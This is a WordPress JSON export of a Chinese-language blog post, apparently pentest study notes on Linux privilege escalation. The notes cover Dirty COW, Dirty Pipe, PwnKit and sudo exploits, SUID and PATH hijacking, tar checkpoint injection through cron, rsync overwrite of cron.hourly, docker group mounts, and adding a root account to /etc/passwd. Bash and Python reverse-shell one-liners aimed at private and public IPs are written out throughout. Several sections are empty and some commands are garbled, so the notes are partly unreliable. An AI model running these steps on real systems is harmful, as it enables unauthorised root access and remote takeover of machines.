{"id":80,"date":"2024-04-12T10:00:00","date_gmt":"2023-06-01T02:00:00","guid":{"rendered":"http:\/\/123.207.45.199\/index.php\/2023\/06\/01\/%e6%9d%83%e9%99%90%e6%8f%90%e5%8d%87-linux\/"},"modified":"2026-05-31T21:58:41","modified_gmt":"2026-05-31T13:58:41","slug":"%e6%9d%83%e9%99%90%e6%8f%90%e5%8d%87-linux","status":"publish","type":"post","link":"https:\/\/www.redspear.cn\/index.php\/2024\/04\/12\/%e6%9d%83%e9%99%90%e6%8f%90%e5%8d%87-linux\/","title":{"rendered":"\u6743\u9650\u63d0\u5347-linux"},"content":{"rendered":"<p>\u914d\u5408\u70c2\u571f\u8c46MS16_075\uff09<br \/>\n\u6c38\u6052\u4e4b\u84dd(MS17-010)<\/p>\n<p>  \u8513\u7075\u82b1(CVE-2021-1732)<\/p>\n<p>\u810f\u725b\u63d0\u6743(CVE-2016-5195)<br \/>\n\u810f\u7ba1\u63d0\u6743(CVE-2022-0847)<br \/>\nSUDO(CVE-2021-3156)<br \/>\nPolkit(CVE-2021-4034)<\/p>\n<p>\u603b\u7ed3:<\/p>\n<p>\u5229\u7528\u5177\u6709suid\u6743\u9650\u7684\u547d\u4ee4(nmap,vim,find ,cat,more&#8230;)->\u53cd\u5f39shell<\/p>\n<p>\u6f0f\u6d1e\u63d0\u6743(cve-2016-5195 cve-2022-0847 cve-2021-3156 cve-2021-4034)<\/p>\n<p>\u73af\u5883\u53d8\u91cf\u6587\u4ef6+suid<\/p>\n<p>\u5b9a\u65f6\u4efb\u52a1\u63d0\u6743\t=>\u76f8\u5bf9\u8def\u5f84\u548c\u7edd\u5bf9\u8def\u5f84\u6267\u884c\t\u8ba1\u5212\u4efb\u52a1\u547d\u4ee4\u5b58\u5728\u53c2\u6570\u8c03\u7528<\/p>\n<p>Rsync(\u672a\u6388\u6743\u8bbf\u95ee\u63d0\u6743)->873-\u8c03\u7528\/etc\/cron.hourly,\u5229\u7528rsync\u8fde\u63a5\u8986\u76d6<\/p>\n<p>Docker\u7ec4\u6302\u8f7d->root\u7528\u6237\u5bf9docker\u6743\u9650\u914d\u7f6e\u4e0d\u5f53<\/p>\n<p>\u4e00.\u4fe1\u606f\u6536\u96c6<\/p>\n<p>~~~<br \/>\ncurl ifconfig.me \u53ef\u89c1\u81ea\u5df1IP<br \/>\nifconfig \t\u7f51\u5361<br \/>\nid\t\u5224\u65ad\u6743\u9650<br \/>\nuname -srm \u7248\u672c\u4fe1\u606f<\/p>\n<p>chmod +x \u6587\u4ef6\u540d<br \/>\n*\u4e00\u4e2a\u7efc\u5408\u7c7b\u63a2\u9488\uff1ahttps:\/\/github.com\/liamg\/traitor(\u4e0a\u4f20\u540e\u76f4\u63a5\u8fd0\u884c\u5373\u53ef)\t.\/traitor<\/p>\n<p>\u4e00\u4e2a\u81ea\u52a8\u5316\u63d0\u6743\uff1ahttps:\/\/github.com\/AlessandroZ\/BeRoot(\u9700\u8981py\u574f\u5883)\tpython beroot.py <\/p>\n<p>*\u4fe1\u606f\u6536\u96c6\uff1ahttps:\/\/github.com\/rebootuser\/LinEnum(\u51fa\u7cfb\u7edf\u4fe1\u606f)=>\u6a2a\u5411\u79fb\u52a8\/\u6743\u9650\u7ef4\u6301\t.\/LinEnum.sh<\/p>\n<p>*\u4fe1\u606f\u6536\u96c6\uff1ahttps:\/\/github.com\/mzet-\/1inux-exploit-suggester(\u51faEXP\u4fe1\u606f)\t.\/les.sh<\/p>\n<p>\u6f0f\u6d1e\u63a2\u9488\uff1ahttps:\/\/github.com\/sleventyeleven\/linuxprivchecker(\u9700\u8981py\u574f\u5883)\tpython linuxprivchecker.py<\/p>\n<p>*\u6f0f\u6d1e\u63a2\u9488\uff1ahttps:\/\/github.com\/jondonas\/1inuX-eXp1oit-suggester-2\t\t.\/linux-exploit-suggester-2.pl<\/p>\n<p>\u4e8c\u8fdb\u5236\u6587\u4ef6\u63d0\u6743\u67e5\u8be2\uff1a<br \/>\nLinux:https:\/\/gtfobins.github.io\/<br \/>\nwindows:https:\/\/1o1bas-project.github.io\/<\/p>\n<p>set payload php\/meter&#8211;\/reverse&#8211;<\/p>\n<p>1go<br \/>\nsystem(&#8216;bash -c &#8220;bash -i >&#038; \/dev\/tcp\/192.168.43.3\/2233 0>&#038;1&#8243;&#8216;);<br \/>\n~~~<\/p>\n<p>### suid\u63d0\u6743<\/p>\n<p>\u539f\u7406<\/p>\n<p>~~~<br \/>\nSUID(Set User ID)\u662f\u4e00\u79cd\u7279\u6b8a\u7684\u6743\u9650\u8bbe\u7f6e\uff0c<br \/>\n\u7528\u4e8e\u5728\u6267\u884c\u7a0b\u5e8f\u65f6\u5c06\u6709\u6548\u7528\u6237ID(UID)\u4e34\u65f6\u66f4\u6539\u4e3a\u7a0b\u5e8f\u6587\u4ef6\u6240\u6709\u8005\u7684UID\u3002<\/p>\n<p>\u6f0f\u6d1e\u6210\u56e0:chmod u+s\u7ed9\u4e88\u4e86suid \tu-s\u5220\u9664\u4e86uid<br \/>\n~~~<\/p>\n<p>\u5229\u7528<\/p>\n<p>~~~<br \/>\nhttps:\/\/gtfobins.github.io\/<\/p>\n<blockquote class=\"wp-embedded-content\" data-secret=\"Bt23OEA1ay\"><p><a href=\"https:\/\/pentestlab.blog\/2017\/09\/25\/suid-executables\/\">SUID Executables<\/a><\/p><\/blockquote>\n<p><iframe loading=\"lazy\" class=\"wp-embedded-content\" sandbox=\"allow-scripts\" security=\"restricted\" style=\"position: absolute; visibility: hidden;\" title=\"\u201cSUID Executables\u201d \u2014 Penetration Testing Lab\" src=\"https:\/\/pentestlab.blog\/2017\/09\/25\/suid-executables\/embed\/#?secret=3rV4tIGu1l#?secret=Bt23OEA1ay\" data-secret=\"Bt23OEA1ay\" width=\"600\" height=\"338\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"><\/iframe><br \/>\n~~~<\/p>\n<p>\u624b\u5de5\u68c0\u6d4b<\/p>\n<p>~~~<br \/>\nfind \/ -user root -perm -4000 -print 2>\/dev\/null<br \/>\nfind \/ -perm -u=s -type f 2>\/dev\/null<br \/>\nfind \/ -user root -perm -4000 -exec ls -ldb {} \\;<br \/>\n~~~<\/p>\n<p>\u5de5\u5177<\/p>\n<p>LinEnum.sh traitor linuxprivchecker<\/p>\n<p>### \u5229\u7528\u547d\u4ee4<\/p>\n<p>Nmap<\/p>\n<p>~~~<\/p>\n<p>~~~<\/p>\n<p>Vim<\/p>\n<p>~~~<\/p>\n<p>~~~<\/p>\n<p>Find<\/p>\n<p>~~~<\/p>\n<p>~~~<\/p>\n<p>Bash<\/p>\n<p>~~~<\/p>\n<p>~~~<\/p>\n<p>Less<\/p>\n<p>~~~<\/p>\n<p>~~~<\/p>\n<p>More<\/p>\n<p>~~~<\/p>\n<p>~~~<\/p>\n<p>Nano<\/p>\n<p>~~~<\/p>\n<p>~~~<\/p>\n<p>cp<\/p>\n<p>~~~<\/p>\n<p>~~~<\/p>\n<p>### \u6d41\u7a0b<\/p>\n<p>~~~~<br \/>\n1.\u751f\u6210linux\u6728\u9a6c<br \/>\n2.\u8d4b\u4e88\u6728\u9a6c\u6743\u9650 \tchmod 777 \u6728\u9a6c\u540d<br \/>\n3.\u653b\u51fb\u673a\u5f00\u542f\u76d1\u542c\tuse\t exploit\/multi\/handle<br \/>\n4.touch \u76ee\u5f55<br \/>\n5.find \u76ee\u5f55 -exec .\/\u6728\u9a6c\u540d \\;<br \/>\n~~~~<\/p>\n<p>### \u53cd\u5f39shell\u4e0a\u7ebf<\/p>\n<p>~~~<br \/>\nhttps:\/\/forum.ywhack.com\/shell.php<br \/>\n\u653b\u51fb\u673a\u76d1\u542c\u7aef\u53e3\tnc -lvp\t\u7aef\u53e3<br \/>\n\u4f8b\u5982:<br \/>\nbash -i >&#038; \/dev\/tcp\/192.168.43.3\/5555 0>&#038;1<br \/>\n\u5229\u7528NC\u53cd\u5f39\uff1a<br \/>\nfind yeye -exec netcat -lvp 5555 -e \/bin\/sh<br \/>\nnetcat xx.xx.xx.xx 5555<br \/>\n\u5229\u7528Python\u53cd\u5f39\uff1a<br \/>\nfind yeye -exec python -c &#8216;import<br \/>\nsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&#8220;47.9<br \/>\n4.236.117&#8221;,7777));os.dup2(s.fileno(),0)os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=su<br \/>\nbprocess.call([&#8220;\/bin\/sh&#8221;,&#8221;-i&#8221;]);&#8217;\\;<br \/>\n~~~<\/p>\n<p>.c\u6587\u4ef6\t >gcc +\u6587\u4ef6\u540d\t=>\u8fd0\u884c<\/p>\n<p>### \u6f0f\u6d1e\u63d0\u6743<\/p>\n<p>~~~<br \/>\n1\u3001\u666e\u901aEXP\u4e0a\u7ebf<br \/>\n\u63d0\u6743\u8fc7\u7a0b\uff1a\u8fde\u63a5-\u83b7\u53d6\u53ef\u5229\u7528\u6f0f\u6d1e-\u4e0b\u8f7d\u6216\u4e0a\u4f20EXP-\u7f16\u8bd1EXP-\u7ed9\u6743\u9650\u6267\u884c-GG<br \/>\n\u63a2\u9488\u9879\u76ee\uff1aBeRoot1inuX-exploit-suggester2<br \/>\n.\/1inux-exploit-suggester-2.pl<\/p>\n<p>\u591a\u4e2a\u6587\u4ef6=>make<br \/>\n.c\u6587\u4ef6=>gcc+&#8230; -o \u8f93\u51fa\u4ec0\u4e48\u6587\u4ef6<br \/>\ngcc 45010.c -o exp<br \/>\nchmod +x exp<br \/>\n.\/exp<br \/>\nid<\/p>\n<p>2\u3001\u810f\u725b\u63d0\u6743(CVE-2016-5195)\t=>\u4fee\u6539\u7ba1\u7406\u5458\u5bc6\u7801<br \/>\nupload \/root\/dcow.cpp \/tmp\/dcow.cpp<br \/>\ng++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil<br \/>\npython -c &#8216;import pty; pty.spawn(&#8220;\/bin\/bash&#8221;)&#8217;<br \/>\n.\/dcow<br \/>\nsu root<\/p>\n<p>3\u3001\u810f\u7ba1\u63d0\u6743(CVE-2022-0847)<br \/>\n1)suggester\u68c0\u6d4b\t=>\u5b58\u5728CVE-2022-0874<br \/>\n\u4e0b\u8f7d\u4e0a\u4f20=>\u7f16\u8bd1 gcc dirtypipez.c  -o exp<br \/>\n\u68c0\u6d4b\u5177\u6709suid\u7684\u76ee\u5f55\tfind \/ -user root -perm -4000 -print 2>\/dev\/null<br \/>\n\u6267\u884c\t.\/exp \u6709suid\u6743\u9650\u7684\u76ee\u5f55<br \/>\n2)=>\u4fee\u6539\u7ba1\u7406\u5458\u5bc6\u7801=>\u7f6e\u4e3a\u7a7a=>\u590d\u5199\/etc\/passwd<\/p>\n<p>4\u3001SUDO(CVE-2021-3156)<\/p>\n<p>5\u3001Pwnkit(CVE-2021-4034)<br \/>\nsuggester\u68c0\u6d4b\t=>\u5b58\u5728CVE-2021-4034<br \/>\n\u4e0b\u8f7d\u4e0a\u4f20=>\u7f16\u8bd1 \tmake<br \/>\n.\/cve-2021-4034<br \/>\n~~~<\/p>\n<p>### \u73af\u5883\u53d8\u91cf\u6587\u4ef6+SUID<\/p>\n<p>\u6761\u4ef6<\/p>\n<p>~~~<br \/>\nR00T\u7528\u6237\u5bf9\u67d0\u4e2a\u7b2c\u4e09\u65b9\u7a0b\u5e8f\u7ed9\u4e88\u4e86SUID\u6743\u9650<br \/>\n~~~<\/p>\n<p>\u63a2\u6d4b<\/p>\n<p>~~~<br \/>\nfind \/ N-user root -perm -4000 -print 2> \/dev\/nu11<br \/>\n\u770b\u662f\u5426\u6709\u7279\u6b8a\u7684\u76ee\u5f55\u5177\u6709suid\t=>\u81ea\u5df1\u5efa\u7acb\u7684<br \/>\n\u8fdb\u5165\u8be5\u76ee\u5f55=>\u67e5\u770b\u6e90\u7801=>\u662f\u5426\u6267\u884c\u7cfb\u7edf\u547d\u4ee4<br \/>\n~~~<\/p>\n<p>\u5229\u7528<\/p>\n<p>~~~<br \/>\ndemo.c\u5185\u5bb9\u5982\u4e0b<br \/>\n#include <unistd.h><br \/>\nvoid main()<br \/>\n{setuid(0);<br \/>\nsetgid(0);<br \/>\nsystem(&#8220;ps&#8221;);<br \/>\n}<\/p>\n<p>\u9996\u5148root\u7528\u6237\u64cd\u4f5c\uff1a<br \/>\nroot\u7528\u6237\u5bf9\u53ef\u6267\u884c\u6587\u4ef6\u8fdb\u884c\u7f16\u8bd1\uff0c<br \/>\n\u4fdd\u8bc1\u6587\u4ef6\u7684\u6b63\u5e38\u6388\u6743\u8fd0\u884c\uff0c\u7ed9\u4e88ROOT\u6743\u9650\u6267\u884c<br \/>\ngcc demo.c -o shell<br \/>\nchmod u+s shell<\/p>\n<p>\u5176\u6b21\u666e\u901a\u7528\u6237\u64cd\u4f5c\uff1a<br \/>\n\u666e\u901a\u7528\u6237\u901a\u8fc7\u5bf9\u6587\u4ef6\u53cd\u7f16\u8bd1\u6216\u6e90\u4ee3\u7801\u67e5\u770b\uff0c\u8986\u76d6\u5176\u6267\u884c\u73af\u5883\u53d8\u91cf\uff0c\u76f4\u63a5\u8ba9\u5176\u6267\u884c\u6307\u5b9a\u7a0b\u5e8f\u83b7\u53d6\u6743\u9650<br \/>\ncp \/bin\/bash \/tmp\/ps<br \/>\nexport PATH=\/tmp:$PATH<br \/>\n.\/shell<br \/>\nid<br \/>\n\u8fc7\u7a0b\u5206\u6790\uff1a<br \/>\n1.\u5148\u83b7\u53d6suid\u7a0b\u5e8f<br \/>\n2.\u53bb\u9664\u7cfb\u7edf\u81ea\u5e26\u7684<br \/>\n3.\u4e0b\u8f7d\u8fd9\u4e2a\u7a0b\u5e8f\u8fdb\u884c\u53cd\u7f16\u8bd1<br \/>\n~~~<\/p>\n<p>### \u5b9a\u65f6\u4efb\u52a1\u63d0\u6743<\/p>\n<p>~~~<br \/>\n\/etc\/crontab<br \/>\n~~~<\/p>\n<p>\u539f\u7406<\/p>\n<p>~~~<br \/>\n\u5229\u7528\u5b9a\u65f6\u4efb\u52a1\u914d\u7f6e\u4e0d\u89c4\u8303\u5bfc\u81f4\u7684\u5b89\u5168\u98ce\u9669<br \/>\n~~~<\/p>\n<p>\u6761\u4ef6<\/p>\n<p>~~~<br \/>\n\u63d0\u6743\u901a\u8fc7\u83b7\u53d6\u8ba1\u5212\u4efb\u52a1\u6267\u884c\u6587\u4ef6\u4fe1\u606f\u8fdb\u884c\u63d0\u6743<br \/>\n1\u3001\u76f8\u5bf9\u8def\u5f84\u548c\u7edd\u5bf9\u8def\u5f84\u6267\u884c<br \/>\n2\u3001\u8ba1\u5212\u4efb\u52a1\u547d\u4ee4\u5b58\u5728\u53c2\u6570\u8c03\u7528<br \/>\n~~~<\/p>\n<p>\u73af\u5883\u642d\u5efa<\/p>\n<p>~~~<br \/>\n1.\u4e0a\u4f20\u73af\u5883\u590d\u73b0\u5b9a\u65f6\u811a\u672c:bak.sh<br \/>\n\t\u538b\u7f29\uff1acd \/var\/www;tar czf \/tmp\/backup.tar.gz *<br \/>\n(\u6ce8\u610f\u4e0a\u4f20\u540e\u8981\u8d4b\u6743 chmod +x bak.sh)<br \/>\n2.\u914d\u7f6e\u5b9a\u65f6\u4efb\u52a1\uff1a<br \/>\n\t*\/1 * * * * root \/tmp\/bak.sh<br \/>\n3.\u5f00\u542f\u5b9a\u65f6\u4efb\u52a1\uff1a<br \/>\n\t\/sbin\/service crond start<\/p>\n<p>crontab -u root -l<br \/>\n~~~<\/p>\n<p>\u5229\u7528<\/p>\n<p>~~~<br \/>\ntar  czf \/tmp\/backup.tar.gz &#8211;checkpoint=1<br \/>\ntar  czf \/tmp\/backup.tar.gz -checkpoint-action=exec=sh test.sh<\/p>\n<p>echo &#8220;&#8221; > &#8220;&#8211;checkpoint-action=exec=sh test.sh&#8221;\t\t#\u4ee5\u547d\u4ee4\u53c2\u6570\u547d\u540d\u7684\u6587\u4ef6<br \/>\n\u8fd0\u884ctest.sh\u6587\u4ef6<br \/>\necho &#8220;&#8221; > &#8211;checkpoint=1<\/p>\n<p>echo &#8216;cp \/bin\/bash \/tmp\/bash; chmod +s \/tmp\/bash&#8217; > test.sh<br \/>\n\u4e5f\u53ef\u4ee5 chmod +s \/usr\/bin\/find<br \/>\n\u53cd\u5f39shell -nc\t\/\u4e0b\u8f7d\u6728\u9a6c wget->\u6267\u884c\u6728\u9a6c<\/p>\n<p>chmod +x test.sh<\/p>\n<p>==\u300b\u7b49\u5f85\u5b9a\u65f6\u4efb\u52a1\u88ab\u6267\u884c<br \/>\n\u8fd0\u884c .\/bash -p   (\u5230\u8fd9\u76f8\u5f53\u4e8e\u7528SUID\u63d0\u6743)<br \/>\n~~~<\/p>\n<p>\u8865:\u5b9a\u65f6\u4efb\u52a1&#038;\u6587\u4ef6\u6743\u9650<br \/>\n\u540c\u6837\u4ee5\u4e0a\u9762\u8fd9\u4e2a\u5b9a\u65f6\u4efb\u52a1\u4e3a\u4f8b\u5b50<br \/>\n\u5047\u5982\uff0croot\u7528\u6237\u7ed9\u8fd9\u4e2a\u811a\u672c\u8d4b\u6743\u7684\u65f6\u5019\u7528\u7684777\u6216\u8005775\u8d4b\u6743<br \/>\n\u90a3\u4e48\u6211\u4eec\u4f4e\u914d\u7528\u6237\u3002\u5c31\u6709\u4fee\u6539\u8fd9\u4e2a\u811a\u672c\u7684\u6743\u9650=>\u53ef\u4fee\u6539\u4e3a\u53cd\u5f39\u547d\u4ee4<\/p>\n<p>### Rsync(\u672a\u6388\u6743\u8bbf\u95ee\u63d0\u6743)<\/p>\n<p>\u539f\u7406<\/p>\n<p>~~~<br \/>\nRsync\u662flinuX\u4e0b\u4e00\u6b3e\u6570\u636e\u5907\u4efd\u5de5\u5177\uff0c\u9ed8\u8ba4\u5f00\u542f873\u7aef\u53e3<br \/>\n\u501f\u52a9Linux\u9ed8\u8ba4\u8ba1\u5212\u4efb\u52a1 \u8c03\u7528\/etc\/cron.hourly,\u5229\u7528rsync\u8fde\u63a5\u8986\u76d6<br \/>\n~~~<\/p>\n<p>\u63d0\u6743\u8fc7\u7a0b<\/p>\n<p>~~~<br \/>\n\u9776\u673a\u64cd\u4f5c 192.168.43.175<br \/>\nyum -y install rsync<br \/>\nvim etc\/rsync.conf<br \/>\nrsync &#8211;daemon<br \/>\nkali\u64cd\u4f5c 192.168.43.134<br \/>\nrsync rsync:\/\/192.168.43.175:873<br \/>\n\u521b\u5efanc\u6587\u4ef6<br \/>\n#!\/bin\/bash<br \/>\nbash -i >&#038; \/dev\/tcp\/192.168.43.134\/3333 0>&#038;1\t(\u53cd\u5f39shell\u547d\u4ee4)<\/p>\n<p>\u4e0a\u4f20\u6587\u4ef6<br \/>\nrsync -av nc rsync:\/\/192.168.43.175:873\/src\/etc\/cron.hourly\/<br \/>\n\u76d1\u542c<br \/>\nnc -lvp\t3333<\/p>\n<p>\u4e0b\u8f7d\u6587\u4ef6<br \/>\nrsync -av rsync:\/\/192.168.43.175:873\/src\/etc\/crontab<br \/>\n~~~<\/p>\n<p>### Docker\u7ec4\u6302\u8f7d<\/p>\n<p>root\u7528\u6237\u5bf9docker\u6743\u9650\u914d\u7f6e\u4e0d\u5f53<\/p>\n<p>\u73af\u5883\u642d\u5efa<\/p>\n<p>&#8220;`<br \/>\n\u68c0\u6d4b\u73af\u5883 \tcat \/proc\/self\/cgroup<br \/>\n&#8220;`<\/p>\n<p>~~~<br \/>\nroot:<br \/>\nusermod -G docker admin\t\t#\u6dfb\u52a0test\u7528\u6237\u5230docker\u7ec4<br \/>\nnewgrp docker\t\t\t #\u66f4\u65b0docker\u7ec4<\/p>\n<p>admin:<br \/>\ndocker images<br \/>\ndocker pull hub-mirror.c.163.com\/library\/alpine<br \/>\ndocker pull registry.cn-hangzhou.aliyuncs.com\/library\/alpine<br \/>\ndocker run -v \/root:\/mnt -it alpine\t\/\/\u8fdb\u5165root\u76ee\u5f55\t\u53ef\u66f4\u6539\u5982:etc&#8230;<br \/>\n\u53ef\u4ee5\u4efb\u610f\u67e5\u770broot\u5185\u5bb9\t\u6dfb\u52a0\u5b9a\u65f6\u4efb\u52a1\u7b49\u7b49..<\/p>\n<p>\/etc\u76ee\u5f55\u4e0b\uff0cshadow\u4e0epasswd\u533a\u5225\uff1f<br \/>\n\/etc\/passwd\u6587\u4ef6\u5305\u542b\u4e86\u6240\u6709\u7cfb\u7edf\u7528\u6237\u7684\u57fa\u672c\u4fe1\u606f\uff0c\u4f8b\u5982\u7528\u6237\u540d\u3001\u7528\u6237ID\u3001\u7ec4ID\u3001\u7528\u6237\u4e3b\u76ee\u5f55\u8def\u5f84\u3001\u9ed8\u8ba4she11\u7a0b\u5e8f\u7b49\u7b49\u3002\u8fd9\u4e2a\u6587\u4ef6\u4e2d\u7684\u6bcf\u4e00\u884c\u90fd\u5bf9\u5e94\u4e00\u4e2a\u7528\u6237\u3002<br \/>\n\u683c\u5f0f\u4e3a\uff1a<br \/>\n<username>:<password>:<UID>:<GID>:<user_info>:<home_directory>:<shel1><br \/>\nshadow\u6587\u4ef6\u5305\u542b\u4e86\u6240\u6709\u7cfb\u7edf\u7528\u6237\u7684\u5bc6\u7801\u6563\u5217\u503c\u4ee5\u53ca\u5176\u4ed6\u4e0e\u5bc6\u7801\u76f8\u5173\u7684\u4fe1\u606f\uff0c\u4f8b\u5982\u5bc6\u7801\u6700\u540e\u4e00\u6b21\u4fee\u6539\u7684\u65f6\u95f4\u3001\u5bc6\u7801\u3001\u8fc7\u671f\u65f6\u95f4\u3001\u8d26\u6237\u662f\u5426\u88ab\u9501\u5b9a\u7b49\u7b49\u3002\u8fd9\u4e2a\u6587\u4ef6\u7684\u6bcf\u4e00\u884c\u90fd\u5bf9\u5e94\u4e00\u4e2a\u7528\u6237\u3002<\/p>\n<p>\u6df1\u5165\u5229\u7528:<br \/>\n\u63d0\u6743<br \/>\nopenssl passwd -1 -salt haha<br \/>\n\u83b7\u53d6\u5230\u5bc6\u7801: ?&#8230;<br \/>\n\u8fdb\u5165etc\u6587\u4ef6<br \/>\necho &#8216;haha:\u4e0a\u9762\u83b7\u53d6\u5230\u7684\u5bc6\u94a5:0:0::\/root:\/bin\/bash&#8217; >>passwd<br \/>\n~~~<\/p>\n<p>\u8865\u5145:<\/p>\n<p>\u53ea\u80fd\u4e0b\u8f7d<br \/>\n\u5b9a\u65f6\/\u8ba1\u5212<br \/>\n\u7cfb\u7edf\u4fe1\u606fpasswd shadow(\u6807\u7834\u6b63\u5411\u89e3\u5bc6)<br \/>\nwww(\u5206\u6790\u6e90\u7801-\u300b\u6f0f\u6d1e(sq\/\u654f\u611f\u76ee\u5f55\u4fe1\u606f\u6cc4\u6eb6\uff08\u6570\u636e\u5e93\u6587\u4ef6\uff09))<br \/>\n\u654f\u611f\u65e5\u5f55\u5176\u4ed6\u4fe1\u606f\u6cc4\u9732(win\u5458\u5de5)<br \/>\n\u4e0a\u7ebf\u5230\u4e86\u6570\u636e\u5e93&#8211;>\u6267\u884c\u7cfb\u7edf\u547d\u4ee4<\/p>\n<p>\u53ea\u80fd\u4e0a\u4f20<br \/>\n\u5b9a\u65f6\u4efb\u52a1\tpasswd\twww webshell<\/p>\n<p>\u53ea\u80fd\u6267\u884c\u547d\u4ee4<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u914d\u5408\u70c2\u571f\u8c46MS16_075\uff09 \u6c38\u6052\u4e4b\u84dd(MS17-010) \u8513\u7075\u82b1(CVE-2021-1732) \u810f\u725b\u63d0\u6743(C &hellip; <\/p>\n","protected":false},"author":3,"featured_media":81,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-80","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-neiwang"],"_links":{"self":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts\/80","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/comments?post=80"}],"version-history":[{"count":2,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts\/80\/revisions"}],"predecessor-version":[{"id":83,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts\/80\/revisions\/83"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/media\/81"}],"wp:attachment":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/media?parent=80"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/categories?post=80"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/tags?post=80"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}